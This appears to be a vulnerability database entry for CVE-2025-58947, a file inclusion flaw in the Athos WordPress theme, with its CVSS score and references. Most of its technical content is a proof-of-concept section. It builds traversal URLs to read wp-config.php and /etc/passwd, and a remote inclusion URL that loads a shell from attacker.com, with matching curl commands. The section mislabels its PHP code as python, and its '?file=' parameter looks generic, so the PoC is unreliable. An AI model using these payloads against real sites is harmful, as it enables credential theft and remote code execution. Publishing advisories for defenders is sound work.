CVE-2025-58947

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Athos athos allows PHP Local File Inclusion.This issue affects Athos: from n/a through <= 1.9.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:athos:*:*:*:*:*:wordpress:*:* - VULNERABLE

Athos Theme <= 1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-58947 - Athos WordPress Theme LFI/RFI PoC
 * Vulnerability: PHP Local/Remote File Inclusion
 * Affected: Athos Theme <= 1.9
 * CVSS: 8.1 (High)
 */

// Local File Inclusion (LFI) - Read sensitive files
$lfi_payload = "?file=../../../../../../wp-config.php";
$target_url = "http://target-site.com/wp-content/themes/athos/";
$lfi_url = $target_url . $lfi_payload;

// Remote File Inclusion (RFI) - Execute remote code
$attacker_server = "http://attacker.com/";
$rfi_payload = "?file=" . urlencode($attacker_server . "shell.php");
$rfi_url = $target_url . $rfi_payload;

// Path traversal to read /etc/passwd
$passwd_payload = "?file=../../../../../../etc/passwd";
$passwd_url = $target_url . $passwd_payload;

echo "LFI PoC URL: " . $lfi_url . "\n";
echo "RFI PoC URL: " . $rfi_url . "\n";
echo "Passwd PoC URL: " . $passwd_url . "\n";

// Example curl command for testing:
// curl -i 'http://target-site.com/wp-content/themes/athos/?file=../../../../../../wp-config.php'
// curl -i 'http://target-site.com/wp-content/themes/athos/?file=http://attacker.com/shell.txt'
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58947
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58947
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58947/
[4] VulDB https://vuldb.com/cve/CVE-2025-58947
[5] https://patchstack.com/database/Wordpress/Theme/athos/vulnerability/wordpress-athos-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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